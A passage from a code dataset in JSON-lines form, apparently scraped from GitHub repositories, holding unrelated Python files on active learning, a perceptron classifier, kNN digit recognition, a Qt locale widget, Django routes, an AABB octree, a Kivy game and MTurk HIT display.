reduced_eval_consistent_bayesian_model(\n bayesian_model=bayesian_model,\n acquisition_function=AcquisitionFunction.bald,\n num_classes=num_classes,\n k=k,\n unlabeled_loader=unlabeled_loader,\n )\n\n # Now we can compute the conditional entropy\n conditional_entropies_B = joint_entropy_exact.batch_conditional_entropy_B(logits_B_K_C)\n\n # We turn the logits into probabilities.\n probs_B_K_C = logits_B_K_C.exp_()\n\n torch_utils.gc_cuda()\n\n with torch.no_grad():\n num_samples_per_ws = 40000 // k\n num_samples = num_samples_per_ws * k\n\n # # KC_memory = k*num_classes*8\n # sample_MK_memory = num_samples * k * 8\n # MC_memory = num_samples * num_classes * 8\n # copy_buffer_memory = 256 * num_samples * num_classes * 8\n # slack_memory = 2 * 2 ** 30\n # multi_bald_batch_size = (\n # torch_utils.get_cuda_available_memory() - (sample_MK_memory + copy_buffer_memory + slack_memory)\n # ) // MC_memory\n #\n # global compute_multi_bald_bag_multi_bald_batch_size\n # if compute_multi_bald_bag_multi_bald_batch_size != multi_bald_batch_size:\n # compute_multi_bald_bag_multi_bald_batch_size = multi_bald_batch_size\n\n multi_bald_batch_size = 16\n\n subset_acquisition_bag = []\n acquisition_bag_scores = []\n\n # We use this for early-out in the b==0 case.\n MIN_SPREAD = 0.1\n\n if b == 0:\n b = 100\n early_out = True\n else:\n early_out = False\n\n prev_joint_probs_M_K = None\n prev_samples_M_K = None\n for i in range(b):\n torch_utils.gc_cuda()\n\n if i > 0:\n # Compute the joint entropy\n joint_entropies_B = torch.empty((len(probs_B_K_C),), dtype=torch.float64)\n\n exact_samples = num_classes ** i\n if exact_samples <= num_samples:\n # prev_joint_probs_M_K = joint_entropy_exact.joint_probs_M_K(\n # probs_B_K_C[subset_acquisition_bag[-1]][None].cuda(),\n # prev_joint_probs_M_K=prev_joint_probs_M_K,\n # )\n prev_joint_probs_M_K = joint_entropy_exact.joint_probs_M_K(\n probs_B_K_C[subset_acquisition_bag[-1]][None],\n prev_joint_probs_M_K=prev_joint_probs_M_K,\n )\n\n # torch_utils.cuda_meminfo()\n batch_exact_joint_entropy(\n probs_B_K_C, prev_joint_probs_M_K, multi_bald_batch_size, joint_entropies_B\n )\n else:\n if prev_joint_probs_M_K is not None:\n prev_joint_probs_M_K = None\n torch_utils.gc_cuda()\n\n # Gather new traces for the new subset_acquisition_bag.\n prev_samples_M_K = joint_entropy_sampling.sample_M_K(\n probs_B_K_C[subset_acquisition_bag], S=num_samples_per_ws\n )\n # prev_samples_M_K = joint_entropy_sampling.sample_M_K(\n # probs_B_K_C[subset_acquisition_bag].cuda(), S=num_samples_per_ws\n # )\n\n # torch_utils.cuda_meminfo()\n for joint_entropies_b, probs_b_K_C in torch_utils.split_tensors(joint_entropies_B, probs_B_K_C, multi_bald_batch_size):\n joint_entropies_b.copy_(\n joint_entropy_sampling.batch(probs_b_K_C, prev_samples_M_K), non_blocking=True\n )\n # for joint_entropies_b, probs_b_K_C in torch_utils.split_tensors(joint_entropies_B, probs_B_K_C, multi_bald_batch_size):\n # joint_entropies_b.copy_(\n # joint_entropy_sampling.batch(probs_b_K_C.cuda(), prev_samples_M_K), non_blocking=True\n # )\n\n # torch_utils.cuda_meminfo()\n\n prev_samples_M_K = None\n torch_utils.gc_cuda()\n\n partial_multi_bald_B = joint_entropies_B - conditional_entropies_B\n joint_entropies_B = None\n\n # Don't allow reselection\n partial_multi_bald_B[subset_acquisition_bag] = -math.inf\n\n winner_index = partial_multi_bald_B.argmax().item()\n\n # Actual MultiBALD is:\n actual_multi_bald_B = partial_multi_bald_B[winner_index] - torch.sum(\n conditional_entropies_B[subset_acquisition_bag]\n )\n actual_multi_bald_B = actual_multi_bald_B.item()\n\n # If we early out, we don't take the point that triggers the early out.\n # Only allow early-out after acquiring at least 1 sample.\n if early_out and i > 1:\n current_spread = actual_multi_bald_B[winner_index] - actual_multi_bald_B.median()\n if current_spread < MIN_SPREAD:\n break\n\n acquisition_bag_scores.append(actual_multi_bald_B)\n subset_acquisition_bag.append(winner_index)\n\n return subset_acquisition_bag, acquisition_bag_scores\n\n\ndef batch_exact_joint_entropy(probs_B_K_C, prev_joint_probs_M_K, chunk_size, out_joint_entropies_B):\n \"\"\"This one switches between devices, too.\"\"\"\n for joint_entropies_b, probs_b_K_C in torch_utils.split_tensors(out_joint_entropies_B, probs_B_K_C, chunk_size):\n joint_entropies_b.copy_(\n joint_entropy_exact.batch(probs_b_K_C, prev_joint_probs_M_K), non_blocking=True\n )\n # for joint_entropies_b, probs_b_K_C in torch_utils.split_tensors(out_joint_entropies_B, probs_B_K_C, chunk_size):\n # joint_entropies_b.copy_(\n # joint_entropy_exact.batch(probs_b_K_C.cuda(), prev_joint_probs_M_K), non_blocking=True\n # )\n\n return joint_entropies_b\n\n\ndef batch_exact_joint_entropy_logits(logits_B_K_C, prev_joint_probs_M_K, chunk_size, out_joint_entropies_B):\n \"\"\"This one switches between devices, too.\"\"\"\n # for joint_entropies_b, logits_b_K_C in torch_utils.split_tensors(out_joint_entropies_B, logits_B_K_C, chunk_size):\n # joint_entropies_b.copy_(\n # joint_entropy_exact.batch(logits_b_K_C.cuda().exp(), prev_joint_probs_M_K), non_blocking=True\n # )\n for joint_entropies_b, logits_b_K_C in torch_utils.split_tensors(out_joint_entropies_B, logits_B_K_C, chunk_size):\n joint_entropies_b.copy_(\n joint_entropy_exact.batch(logits_b_K_C.exp(), prev_joint_probs_M_K), non_blocking=True\n )\n\n return joint_entropies_b\n","repo_name":"hideaki-ishibashi/stopping_AL","sub_path":"batch_bald/multi_bald.py","file_name":"multi_bald.py","file_ext":"py","file_size_in_byte":7141,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"72563453530","text":"n = int(input())\nn_l = list(map(int, input().split()))\nm = int(input())\nm_l = list(map(int, input().split()))\n\nn_dict = {}\nfor i in n_l:\n if i in n_dict.keys():\n n_dict[i] = n_dict[i] + 1\n else:\n n_dict[i] = 1 \n\ndef search(l, t):\n first = 0\n last = len(l) - 1\n \n while first <= last:\n mid = (first + last) // 2\n if l[mid] == t:\n return True\n elif l[mid] > t:\n last = mid - 1\n else:\n first = mid + 1\n return False\n\nfor i in m_l:\n if i in n_dict.keys():\n print(n_dict[i], end=' ')\n else:\n print(\"0 \", end='')","repo_name":"SuperVingo/Baekjoon-Python","sub_path":"Problem ID/10800~10899/10816.py","file_name":"10816.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32594881414","text":"from __future__ import annotations\n\nfrom prettyqt import core, widgets\nfrom prettyqt.utils import get_repr\n\n\nclass LocaleEdit(widgets.ComboBox):\n value_changed = core.Signal(core.Locale)\n\n def __init__(\n self,\n locale: core.QLocale | None = None,\n object_name: str = \"locale_edit\",\n **kwargs,\n ):\n super().__init__(object_name=object_name, **kwargs)\n self._current_locale = core.Locale()\n for i in core.Locale.get_all_locales():\n self.addItem(i.bcp47Name())\n if locale is not None:\n self.set_current_locale(locale)\n self.currentTextChanged.connect(self.set_current_locale)\n\n def __repr__(self):\n return get_repr(self, self._current_locale)\n\n def clear(self):\n self._current_locale = core.Locale()\n super().clear()\n for i in core.Locale.get_all_locales():\n self.addItem(i.bcp47Name())\n\n # def _on_value_change(self):\n # self._value = self.get_value()\n # self.value_changed.emit(self._value)\n\n def set_current_locale(self, locale: core.QLocale | str):\n self._current_locale = core.Locale(locale)\n self.set_current_text(self._current_locale.bcp47Name())\n\n def is_valid(self) -> bool:\n return self._current_locale.isValid()\n\n def get_value(self) -> core.QLocale:\n return self._current_locale\n\n def set_value(self, value: core.QLocale | str):\n self.set_current_locale(value)\n\n value = core.Property(\n core.QLocale,\n get_value,\n set_value,\n user=True,\n doc=\"Currently chosen locale\",\n )\n\n\nif __name__ == \"__main__\":\n app = widgets.app()\n widget = LocaleEdit(window_title=\"Test\")\n widget.set_value(core.Locale())\n widget.value_changed.connect(print)\n widget.show()\n app.exec()\n","repo_name":"phil65/PrettyQt","sub_path":"prettyqt/custom_widgets/editors/localeedit.py","file_name":"localeedit.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"32"} +{"seq_id":"22732001796","text":"from copy import deepcopy\nimport numpy as np\nimport math\n# import pylab as plt\nimport matplotlib.pyplot as plt\nfrom os import listdir\nfrom os.path import isfile, join\nimport kmeans_GMM as gmm\nimport pandas as pd \n\nnp.set_printoptions(threshold=np.nan)\n\ndef load_LS_train_data():\n pd_data_class1 = pd.read_csv(\"/Users/3pi/Documents/Pattern Recognition/Ass1_Bayesian_Classifier/Latest/LS/train_class1.txt\", header = None, delimiter=' ', usecols=(0, 1))\n pd_data_class2 = pd.read_csv(\"/Users/3pi/Documents/Pattern Recognition/Ass1_Bayesian_Classifier/Latest/LS/train_class2.txt\", header = None, delimiter=' ', usecols=(0, 1))\n pd_data_class3 = pd.read_csv(\"/Users/3pi/Documents/Pattern Recognition/Ass1_Bayesian_Classifier/Latest/LS/train_class3.txt\", header = None, delimiter=' ', usecols=(0, 1))\n np_data_class1 = np.array(pd_data_class1)\n np_data_class2 = np.array(pd_data_class2)\n np_data_class3 = np.array(pd_data_class3)\n train_data_all_classes = [np_data_class1, np_data_class2, np_data_class3] #3 dimentional - 3 * training_class_size * 2\n \n return train_data_all_classes\n\ndef load_LS_test_data():\n pd_data_class1 = pd.read_csv(\"/Users/3pi/Documents/Pattern Recognition/Ass1_Bayesian_Classifier/Latest/LS/test_class1.txt\", header = None, delimiter=' ', usecols=(0, 1))\n pd_data_class2 = pd.read_csv(\"/Users/3pi/Documents/Pattern Recognition/Ass1_Bayesian_Classifier/Latest/LS/test_class2.txt\", header = None, delimiter=' ', usecols=(0, 1))\n pd_data_class3 = pd.read_csv(\"/Users/3pi/Documents/Pattern Recognition/Ass1_Bayesian_Classifier/Latest/LS/test_class3.txt\", header = None, delimiter=' ', usecols=(0, 1))\n np_data_class1 = np.array(pd_data_class1)\n np_data_class2 = np.array(pd_data_class2)\n np_data_class3 = np.array(pd_data_class3)\n test_data_all_classes = [np_data_class1, np_data_class2, np_data_class3] #3 dimentional - 3 * training_class_size * 2\n \n return test_data_all_classes\n\t\ndef train_batch_perceptron(two_classes):\n # plot_two_dim_pts(two_classes[1])\n # plot_two_dim_pts(two_classes[0])\n w = np.asarray([1, 1, 1]) #Initializing the wight vector\n eta = 0.1\n num_misclassified_pts = []\n iters = 0\n misclassified_pts = []\n for i in range(2):\n \tfor each_pt in two_classes[i]:\n each_pt = np.insert(each_pt, 0, 1)\n g_of_x = np.dot(w, each_pt)\n if i == 0:\n y = -1\n elif i == 1:\n y = 1\n if y * g_of_x < 0:\n misclassified_pts.append(y * each_pt)\n\n num_misclassified_pts.append(len(misclassified_pts))\n misclassified_pts = np.array(misclassified_pts)\n\n while len(misclassified_pts) != 0:\n iters += 1\n # if iters == 150:\n # plot_three_dim_pts(misclassified_pts)\n # break\n w = w + (eta * np.sum(misclassified_pts, axis = 0))\n misclassified_pts = []\n for i in range(2):\n for each_pt in two_classes[i]:\n each_pt = np.insert(each_pt, 0, 1)\n g_of_x = np.dot(w, each_pt)\n if i == 0:\n y = -1\n else:\n y = 1\n if y * g_of_x < 0:\n misclassified_pts.append(y * each_pt)\n misclassified_pts = np.array(misclassified_pts)\n num_misclassified_pts.append(len(misclassified_pts))\n print(iters)\n print(w)\n # draw_line(w)\n return w\n\ndef test_which_class(x, weight_vector_0_1, weight_vector_0_2, weight_vector_1_2):\n class_labels = [0, 0, 0]\n x = np.insert(x, 0, 1)\n g_of_x = np.dot(weight_vector_0_1, x)\n if g_of_x <= 0:\n class_labels[0] += 1\n else:\n class_labels[1] += 1\n\n g_of_x = np.dot(weight_vector_0_2, x)\n if g_of_x <= 0:\n class_labels[0] += 1\n else:\n class_labels[2] += 1\n\n g_of_x = np.dot(weight_vector_1_2, x)\n if g_of_x <= 0:\n class_labels[1] += 1\n else:\n class_labels[2] += 1\n\n return class_labels.index(max(class_labels))\n\ndef compute_confusion_matrix(data_all_classes_test, weight_vector_0_1, weight_vector_0_2, weight_vector_1_2):\n confusion_matrix = [[0, 0, 0], [0, 0, 0], [0, 0, 0]]\n for i in range(3):\n for j in range(len(data_all_classes_test[i])):\n class_num = test_which_class(data_all_classes_test[i][j], weight_vector_0_1, weight_vector_0_2, weight_vector_1_2)\n confusion_matrix[i][class_num] += 1\n\n return confusion_matrix\n\ndef plot_two_dim_pts(two_dim_pts):\n xs = [x[0] for x in two_dim_pts]\n ys = [x[1] for x in two_dim_pts]\n plt.scatter(xs, ys)\n # plt.xlabel('Iterations')\n # plt.ylabel('log likelihood')\n plt.savefig(\"asdf\")\n # plt.clf()\n\ndef plot_three_dim_pts(three_dim_pts):\n xs = [x[1] for x in three_dim_pts]\n ys = [x[2] for x in three_dim_pts]\n plt.scatter(xs, ys)\n # plt.xlabel('Iterations')\n # plt.ylabel('log likelihood')\n plt.savefig(\"asdf\")\n # plt.clf()\n\ndef draw_line():\n plt.plot(x, x + 0, linestyle='solid')\n\n\ntrain_data_all_classes = load_LS_train_data()\ndata_all_classes_test = load_LS_test_data()\nweight_vector_0_1 = train_batch_perceptron([train_data_all_classes[0], train_data_all_classes[1]])\nweight_vector_0_2 = train_batch_perceptron([train_data_all_classes[0], train_data_all_classes[2]])\nweight_vector_1_2 = train_batch_perceptron([train_data_all_classes[1], train_data_all_classes[2]])\n\nconfusion_matrix = compute_confusion_matrix(data_all_classes_test, weight_vector_0_1, weight_vector_0_2, weight_vector_1_2)\nprint(\"\\nconfusion_matrix\")\ngmm.print_matrix(confusion_matrix)\n\nperformance_matrix = gmm.find_performance_matrix(confusion_matrix)\nprint(\"\\nperformance_matrix\")\ngmm.print_matrix(performance_matrix)\n\nclass_accuracy = gmm.find_accuracy(confusion_matrix)\nprint(\"\\nclass accuracy: \", class_accuracy)\n\n\n\n\n\n\n","repo_name":"s3pi/Perceptron-FDA-SVM","sub_path":"perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":5837,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"43478411599","text":"import json\nimport argparse\nimport random\nimport glob\nimport os\nimport gzip\nimport tqdm\nimport numpy as np\n\ndef split(file_path: str, out_path: str):\n random.seed(43)\n total_size = 0\n alldata_path = os.path.join(out_path, \"alldata.jsonl.gz\")\n\n with gzip.open(alldata_path, \"rt\", encoding=\"utf-8\") as f:\n lines = f.readlines()\n \n indices = list(range(len(lines)))\n random.shuffle(indices)\n train_split = int(len(indices) * 0.9)\n valid_split = int(len(indices) * 0.95)\n\n train_path = os.path.join(out_path, \"train.jsonl.gz\")\n with gzip.open(train_path, \"wt\", encoding=\"utf-8\") as f:\n for i in tqdm.tqdm(indices[:train_split]):\n f.write(lines[i])\n \n valid_path = os.path.join(out_path, \"valid.jsonl.gz\")\n with gzip.open(valid_path, \"wt\", encoding=\"utf-8\") as f:\n for i in tqdm.tqdm(indices[train_split:valid_split]):\n f.write(lines[i])\n \n test_path = os.path.join(out_path, \"test.jsonl.gz\")\n with gzip.open(test_path, \"wt\", encoding=\"utf-8\") as f:\n for i in tqdm.tqdm(indices[valid_split:]):\n f.write(lines[i])\n\n\nif __name__ == \"__main__\":\n split(\"../MewNet/dataset\", \"./dataset\")","repo_name":"deept-project/ChatLLaMA","sub_path":"split.py","file_name":"split.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"32"} +{"seq_id":"14769808839","text":"from django.urls import path\nfrom . import views\n\n\napp_name = 'tienda'\nurlpatterns = [\n path('', views.home, name = 'home'),\n path('producto/', views.producto, name = 'producto'),\n path('agregar/', views.agregar, name = 'agregar'),\n path('categoria/', views.categoria, name = 'categorias'),\n path('editar/', views.editar, name = 'editar'),\n path('eliminar/', views.eliminar, name = 'eliminar'),\n path('buscar/', views.buscar, name = 'buscar'),\n path('carrito/', views.carrito, name = 'carrito'),\n path('checkout/', views.checkout, name = 'checkout'),\n path('borrar_carrito/', views.borrar_carrito, name ='borrar_carrito'),\n path('confirmar/', views.confirmar_pedido, name= 'confirmar_pedido'),\n path('acerca/', views.acerca, name = 'acerca'),\n path('pedidos/', views.pedidos, name='pedidos')\n]\n","repo_name":"CodeSystem2022/E-Commerce-MateCoders","sub_path":"ecommerceAlimentosNaturales/TIENDA/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"gl","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21517507058","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport operator\n# listdir可以列出给定目录的文件名\nfrom os import listdir\n\n\n# 将图像格式化处理为一个向量,这里将32*32处理成为1*1024\ndef img2vector(filename):\n returnVect=np.zeros((1,1024))\n fr=open(filename)\n for i in range(32):\n lineStr=fr.readline()\n for j in range(32):\n returnVect[0,32*i+j]=int(lineStr[j])\n return returnVect\n\n# 测试k-近邻算法识别手写数字\ndef handwritingClassTest():\n # hwLabels是测试集手写体的标签集\n hwLabels=[]\n trainingFileList=listdir('machine_learning/kNN手写识别系统/digits/trainingDigits')\n m=len(trainingFileList)\n # trainingMat为训练集\n trainingMat=np.zeros((m,1024))\n # 迭代m次\n for i in range(m):\n fileNameStr=trainingFileList[i]\n # 这句是为了去掉后缀txt\n fileStr=fileNameStr.split('.')[0]\n # 判别该文件是数字几的训练集\n classNumStr=int(fileStr.split('_')[0])\n # 将标签和训练数据导入标签集和数据集\n hwLabels.append(classNumStr)\n trainingMat[i,:]=img2vector('machine_learning/kNN手写识别系统/digits/trainingDigits/%s'%fileNameStr)\n testFileList=listdir('machine_learning/kNN手写识别系统/digits/testDigits')\n errCount=0\n mTest=len(testFileList)\n for i in range(mTest):\n fileNameStr=testFileList[i]\n fileStr=fileNameStr.split('.')[0]\n classNumStr=int(fileStr.split('_')[0])\n vectorUnderTest=img2vector('machine_learning/kNN手写识别系统/digits/testDigits/%s'%fileNameStr)\n classifierResult=classify0(vectorUnderTest,trainingMat,hwLabels,3)\n print('the classifier came back with:%d,the real answer is %d'%(classifierResult,classNumStr))\n if(classifierResult!=classNumStr):\n errCount=errCount+1\n print(\"\\n the total number of errors is %d \"%errCount)\n print(\"\\n the total error rate is: %f\"%(errCount/float(mTest)))\n\n\n# 分类器0\ndef classify0(inX, dataSet, labels, k):\n dataSetSize = dataSet.shape[0]\n \n ##将inX有1*m的矩阵拓展成为n*m的矩阵���且逐项与dataSet中数据相减\n diffMat = np.tile(inX, (dataSetSize, 1)) - dataSet\n \n ##将diffMat的每项都平方\n sqDiffMat = diffMat ** 2\n \n # 逐行将每行各项的各项相加求和得到一个##1*n##的矩阵,再将该矩阵的每个元素都开方\n sqDistances = sqDiffMat.sum(axis=1)\n\n distances = sqDistances ** 0.5\n\n\n # 将上面得到的距离列向量按从小到大排序,得到的array是第0位的元素在原array的位置,第1位的元素在原array的位置,以此类推\n sortedDistIndicies = distances.argsort()\n\n # 建立一个字典,对应分类在前k近的距离的样本中出现的次数\n classCount = {}\n # 迭代k次\n for i in range(k):\n # voteIlabel为第i近的标签名\n voteIlabel = labels[sortedDistIndicies[i]]\n # 在字典中该标签名的次数加一,之前没有出现过就给个默认值为0\n classCount[voteIlabel] = classCount.get(voteIlabel, 0) + 1\n # sorted()函数产生一个新的列表,()内为(iterable迭代方式:这里面的列表可以直接写列表,但是dict要写.\n # items(),items()为返回可遍历的键/值; cmp:有默认值,可以选择由什么key决定排序方式;\n # key:用列表元素的某个属性和函数进行作为关键字,有默认值,这里面的key=operator.itemgetter(1)是\n # 定义了一个函数,意思是key为取第一项;reverse:是否采用反序)\n sortedClassCount = sorted(classCount.items(),key=operator.itemgetter(1), reverse=True)\n # 返回sortedClassCount列表的第0个的第0项\n return sortedClassCount[0][0]\n\n","repo_name":"wang2shan/my-machine-learning-path","sub_path":"kNN手写识别系统/kNN2.py","file_name":"kNN2.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2934989837","text":"from copy import copy\nfrom ctypes import Union\nfrom re import A\nfrom typing import Iterable, List\nfrom .Vector3 import Vector3\nimport weakref\n\nclass AABB:\n min: Vector3\n max: Vector3\n top: Vector3\n forward: Vector3\n right: Vector3\n center: Vector3\n\n def __init__(self, _min: Vector3 = Vector3.Zero(), _max: Vector3 = Vector3.Zero(), generateTree=False) -> 'AABB':\n self.min = _min\n self.max = _max\n self.center = (_min + _max) * 0.5\n self.extents = _max - self.center\n \n self.children: list[AABB] = []\n self.brushes = []\n\n if generateTree:\n self.GenerateOctree()\n \n def update(self, new):\n self.min = self.min.min(new)\n self.max = self.max.max(new)\n\n @staticmethod\n def FromPoint(point: Vector3, size: int = 8) -> 'AABB':\n hs = size / 2 # half size\n _min = point + Vector3(hs, -hs, -hs)\n _max = point + Vector3(-hs, hs, hs)\n return AABB(_min, _max)\n \n # check if it collides with another AABB\n def IsTouching(self, box: 'AABB') -> bool:\n return (\n (self.min.x <= box.max.x and self.max.x >= box.min.x) and\n (self.min.x <= box.max.y and self.max.y >= box.min.y) and\n (self.min.x <= box.max.z and self.max.z >= box.min.z)\n )\n \n def GenerateOctree(self):\n # if the AABB is small enough, don't create children\n # 128**3 = 2097152, 64**3 = 262144, 32**3 = 32768\n if self.extents.x * self.extents.y * self.extents.z < 512:\n self.children = None\n return\n \n a, c, e = self.max, self.center, self.extents\n \n # top 4\n self.children.append(AABB(c, a, True))\n self.children.append(AABB(c + Vector3(e.x, 0, 0), a + Vector3(e.x, 0, 0), True))\n self.children.append(AABB(c + Vector3(0, e.y, 0), a + Vector3(0, e.y, 0), True))\n self.children.append(AABB(c + Vector3(e.x, e.y, 0), a + Vector3(e.x, e.y, 0), True))\n # bottom 4\n self.children.append(AABB(c + Vector3(0, 0, -e.z), a + Vector3(0, 0, -e.z), True))\n self.children.append(AABB(c + Vector3(e.x, 0, -e.z), a + Vector3(e.x, 0, -e.z), True))\n self.children.append(AABB(c + Vector3(0, e.y, -e.z), a + Vector3(0, e.y, -e.z), True))\n self.children.append(AABB(c + Vector3(e.x, e.y, -e.z), a + Vector3(e.x, e.y, -e.z), True))\n \n def GetTouchingFaces(self, box: 'AABB'):\n res = []\n\n for child in box.children:\n if child.children is not None:\n self.GetTouchingFaces(child)\n else:\n for brush in child.brushes:\n if self.IsTouching(brush.AABB()):\n res.append()\n\n def __repr__(self) -> str:\n return f\"\"\n\ndef GetBrushes(arr: 'AABB', brushes: list):\n if arr.children is not None:\n for child in arr.children:\n GetBrushes(child, brushes)\n else:\n for brush in arr.brushes:\n brushes.append(brush)","repo_name":"KILLTUBE/corvid","sub_path":"modules/AABB.py","file_name":"AABB.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"32"} +{"seq_id":"6924475036","text":"import random, sys\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.widget import Widget\nfrom kivy.properties import ListProperty\nfrom kivy.app import App\nfrom kivy.lang import Builder\nfrom kivy.clock import Clock\nfrom kivy.core.window import Window\n\nBuilder.load_string('''\n\n:\n\tcanvas.before:\n\t\tColor:\n\t\t\trgb: (1, 0, 0)\n\t\tEllipse:\n\t\t\tsize: self.size\n\t\t\tpos: self.pos\n\n:\n\tcanvas.before:\n\t\tColor:\n\t\t\trgb: self.enemy_color\n\t\tEllipse:\n\t\t\tsize: self.size\n\t\t\tpos: self.pos\n:\n\tcanvas.before:\n\t\tColor:\n\t\t\trgb: (1, 0, 0)\n\t\tEllipse:\n\t\t\tsize: 30, 30\n\t\t\tpos: self.x + self.width/2 - 15, self.y + self.height/2 - 15\n\n:\n\tRelativeLayout:\n\t\tid: _game_box\n\t\tcanvas.before:\n\t\t\tColor:\n\t\t\t\trgb: (0, 1, 0)\n\t\t\tRectangle:\n\t\t\t\tsize: self.size\n\t\t\t\tpos: 0, 0\n\t\tLabel:\n\t\t\tid: _attack_lbl\n\t\t\tpos_hint: {'center': (.5, .5)}\n\t\t\tsize_hint: .3, .2\n\tBoxLayout:\n\t\torientation: 'vertical'\n\t\tcanvas.before:\n\t\t\tColor:\n\t\t\t\trgb: (1, 1, 0)\n\t\t\tRectangle:\n\t\t\t\tsize: self.size\n\t\t\t\tpos: self.pos\n\t\tBoxLayout:\n\t\t\tid: _enemy_hp_box\n\t\t\tLife:\n\t\t\tLife:\n\t\t\tLife:\n\t\tBoxLayout:\n\t\t\tid: _player_hp_box\n\t\t\tLife:\n\t\t\tLife:\n\t\t\tLife:\n\t\tLabel:\n\t\t\tid: _score_box\n\t\t\ttext: str(0)\n\tRelativeLayout:\n\t\tcanvas.before:\n\t\t\tColor:\n\t\t\t\trgb: (0, 0, 1)\n\t\t\tRectangle:\n\t\t\t\tsize: self.size\n\t\t\t\tpos: 0, 0\n\t\tButton:\n\t\t\tid: _attack_btn\n\t\t\tpos_hint: {'center': (.5, .5)}\n\t\t\tsize_hint: .3, .2\n\t\t\ton_press: root.attack()\n\n''')\nclass Life(Widget):\n\tpass\n\nclass Player(Widget):\n\t\"\"\"docstring for Player\"\"\"\n\tdef __init__(self, **kwargs):\n\t\tsuper(Player, self).__init__(**kwargs)\n\n\nclass Enemy(Widget):\n\t\"\"\"docstring for Enemy\"\"\"\n\tENEMY_X = 200\n\tENEMY_HP = 3\n\tenemy_color = ListProperty([random.random(), random.random(), random.random()])\n\n\tdef __init__(self, **kwargs):\n\t\tsuper(Enemy, self).__init__(**kwargs)\n\nclass TouchGame(BoxLayout):\n\n\tdef __init__(self, **kwargs):\n\t\tsuper(TouchGame, self).__init__(**kwargs)\n\t\tself.attack_btn = self.ids['_attack_btn']\n\t\tself.attack_lbl = self.ids['_attack_lbl']\n\t\tself.player_hp_box = self.ids['_player_hp_box']\n\t\tself.enemy_hp_box = self.ids['_enemy_hp_box']\n\t\tself.score_box = self.ids['_score_box']\n\t\tself.game_box = self.ids['_game_box']\n\t\tself.score = 0\n\t\tself.player = Player(pos=(100, 200), size_hint=(None, None), size=(20, 20))\n\t\tself.enemy = Enemy(pos=(Enemy.ENEMY_X, 200), size_hint=(None, None), size=(20, 20))\n\t\tself.enemy.hp = Enemy.ENEMY_HP\n\t\tself.game_box.add_widget(self.player)\n\t\tself.game_box.add_widget(self.enemy)\n\t\tClock.schedule_interval(self.loop, 0.01)\n\n\tdef attack(self):\n\t\tself.enemy.x += 20\n\n\tdef loop(self, dt):\n\t\tself.enemy.x -= 3\n\t\tself.enemy.x = min(self.enemy.x, Enemy.ENEMY_X + 1)\n\t\tif self.enemy.collide_widget(self.player):\n\t\t\tself.enemy.x = 200\n\t\t\tself.player_lose_hp()\n\t\tif self.enemy.x == Enemy.ENEMY_X + 1:\n\t\t\tself.enemy_lose_hp()\n\n\tdef enemy_reset(self):\n\t\tself.score += 1\n\t\tself.score_box.text = str(self.score)\n\t\tself.enemy.x = Enemy.ENEMY_X\n\t\tself.enemy.hp = Enemy.ENEMY_HP\n\t\tself.enemy.enemy_color = [random.random(), random.random(), random.random()]\n\t\tfor i in range(Enemy.ENEMY_HP):\n\t\t\tself.enemy_hp_box.add_widget(Life())\n\n\tdef player_reset(self):\n\t\tsys.exit(0)\n\n\tdef player_lose_hp(self):\n\t\ttry:\n\t\t\tself.player_hp_box.remove_widget(self.player_hp_box.children[0])\n\t\texcept:\n\t\t\tself.player_reset()\n\n\tdef enemy_lose_hp(self):\n\t\tself.enemy.hp -= 1\n\t\ttry:\n\t\t\tself.enemy_hp_box.remove_widget(self.enemy_hp_box.children[0])\n\t\texcept:\n\t\t\tself.enemy_reset()\nclass TouchApp(App):\n\tdef build(self):\n\t\tWindow.size = (800, 400)\n\t\treturn TouchGame()\nif __name__ == '__main__':\n\tTouchApp().run()\n","repo_name":"vuquangtam/Test","sub_path":"Kivy Test/toucherGame.py","file_name":"toucherGame.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70899564892","text":"# https://chromium.googlesource.com/external/boto/+/master/bin/mturk\n\nimport datetime,calendar\n\n\ndef display_datetime(dt):\n return dt.strftime('%e %b %Y, %l:%M %P')\n\n\nmturk_website=\"mturk.com\"\ndef preview_url(hit):\n return 'https://{}/mturk/preview?groupId={}'.format(\n mturk_website, hit.HITTypeId)\n\n\n\ntime_units = dict(\n s = 1,\n min = 60,\n h = 60 * 60,\n d = 24 * 60 * 60)\n\ndef display_duration(n):\n for unit, m in sorted(time_units.items(), key = lambda x: -x[1]):\n if n % m == 0:\n return '{} {}'.format(n / m, unit)\n\nnicknames = {}\ndef get_nickname(hitid):\n for k, v in nicknames.items():\n if v == hitid:\n return k\n return \"No nickname\"\n\n\n\ndef parse_timestamp(s):\n '''Takes a timestamp like \"2012-11-24T16:34:41Z\". Returns a datetime object in the local time zone.'''\n return datetime.datetime.fromtimestamp(\n calendar.timegm(\n datetime.datetime.strptime(s, '%Y-%m-%dT%H:%M:%SZ').timetuple()))\n\n\ndef display_hit(hit, verbose = False):\n et = parse_timestamp(hit.Expiration)\n return '\\n'.join([\n '{} - {} ({}, {}, {})'.format(\n get_nickname(hit.HITId),\n hit.Title,\n hit.FormattedPrice,\n display_duration(int(hit.AssignmentDurationInSeconds)),\n hit.HITStatus),\n 'HIT ID: ' + hit.HITId,\n 'Type ID: ' + hit.HITTypeId,\n 'Group ID: ' + hit.HITGroupId,\n 'Preview: ' + preview_url(hit),\n 'Created {} {}'.format(\n display_datetime(parse_timestamp(hit.CreationTime)),\n 